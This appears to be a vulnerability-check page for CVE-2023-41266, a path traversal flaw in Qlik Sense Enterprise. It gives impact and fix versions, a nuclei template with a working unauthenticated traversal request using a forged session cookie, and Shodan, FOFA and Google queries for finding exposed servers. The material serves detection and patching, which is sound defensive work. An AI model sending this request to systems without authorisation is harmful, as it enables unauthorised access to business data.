Qlik Sense Enterprise - Path Traversal

Exploited in the wild. Listed by CISA on 2023-12-07; known to be used by ransomware.

mediumseverity

6.5CVSS score

84.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.

Impact

Unauthenticated attackers can exploit path traversal to generate anonymous sessions and access unauthorized API endpoints, potentially extracting sensitive business intelligence data and manipulating Qlik Sense dashboards.

Fix

Update Qlik Sense Enterprise to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that properly validates resource paths and enforces authentication.

How to confirm it

Send: GET {{BaseURL}}/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf
Positive when: status_code == 400 and contains(to_lower(set_cookie), 'x-qlik-session') and contains(body, 'The comparison expression does not consist of three elements')

Run it with nuclei: nuclei -id CVE-2023-41266 -u <target>

The full check

id: CVE-2023-41266

info:
  name: Qlik Sense Enterprise - Path Traversal
  author: AdamCrosser
  severity: medium
  description: A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.
  impact: |
    Unauthenticated attackers can exploit path traversal to generate anonymous sessions and access unauthorized API endpoints, potentially extracting sensitive business intelligence data and manipulating Qlik Sense dashboards.
  remediation: |
    Update Qlik Sense Enterprise to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that properly validates resource paths and enforces authentication.
  reference:
    - https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801
    - https://www.praetorian.com/blog/advisory-qlik-sense/
    - https://www.praetorian.com/blog/qlik-sense-technical-exploit
    - https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-41266
    cwe-id: CWE-20
    epss-score: 0.84843
    epss-percentile: 0.99713
    cpe: cpe:2.3:a:qlik:qlik_sense:august_2022:-:*:*:enterprise:windows:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qlik
    product: qlik_sense
    framework: windows
    shodan-query:
      - http.favicon.hash:-74348711
      - http.html:"qlik"
      - http.title:"qlik-sense"
    fofa-query:
      - app="qlik-sense"
      - title="qlik-sense"
      - icon_hash=-74348711
      - body="qlik"
    google-query: intitle:"qlik-sense"
  tags: cve2023,cve,qlik,traversal,kev,windows,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf"
    headers:
      Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337
      X-Qlik-Xrfkey: '1333333333333337'

    matchers:
      - type: dsl
        dsl:
          - status_code == 400
          - contains(to_lower(set_cookie), 'x-qlik-session')
          - contains(body, 'The comparison expression does not consist of three elements')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from